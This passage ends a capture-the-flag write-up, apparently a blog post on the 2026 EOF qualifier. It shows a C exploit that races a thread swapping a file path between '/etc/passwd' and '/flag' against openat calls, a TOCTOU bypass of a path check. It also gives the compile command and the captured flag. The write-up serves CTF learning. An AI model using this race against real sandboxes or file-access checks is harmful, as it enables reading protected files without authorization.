#include <fcntl.h>
6
#include <pthread.h>
7
#include <string.h>
8
#include <sys/syscall.h>
9

10
char shared_path[4096] __attribute__((aligned(4096)));
11

12
void* racer(void* arg) {
13
    while (1) {
14
        memcpy(shared_path, "/etc/passwd", 12);
15
        memcpy(shared_path, "/flag", 6);
16
    }
17
    return NULL;
18
}
19

20
int main() {
21
    pthread_t t;
22
    if (pthread_create(&t, NULL, racer, NULL) != 0) {
23
        return 1;
24
    }
25

26
    char buf[1024];
27
    for (int i = 0; i < 50000; i++) {
28
        int fd = syscall(SYS_openat, AT_FDCWD, shared_path, O_RDONLY);
29

30
        if (fd >= 0) {
31
            int n = read(fd, buf, sizeof(buf) - 1);
32
            if (n > 0) {
33
                buf[n] = '\0';
34
                if (strstr(buf, "{") || strstr(buf, "EOF")) {
35
                    printf("FLAG: %s\n", buf);
36
                    exit(0);
37
                }
38
            }
39
            close(fd);
40
        }
41
    }
42

43
    printf("upload again.\n");
44
    return 0;
45
}

然後編譯

1
┌──(kali㉿kali)-[~]
2
└─$ gcc a.c -o getflagexp -lpthread

然後上傳後就可以拿到 flag 了~

1
"FLAG: EOF{TICTACTOE_TICKTOCTOU}\n\n"

EOF{TICTACTOE_TICKTOCTOU}

Thanks for reading!

2026 EOF qual writeup

Wed Dec 24 2025

11628 words · 96 minutes

Daily writeup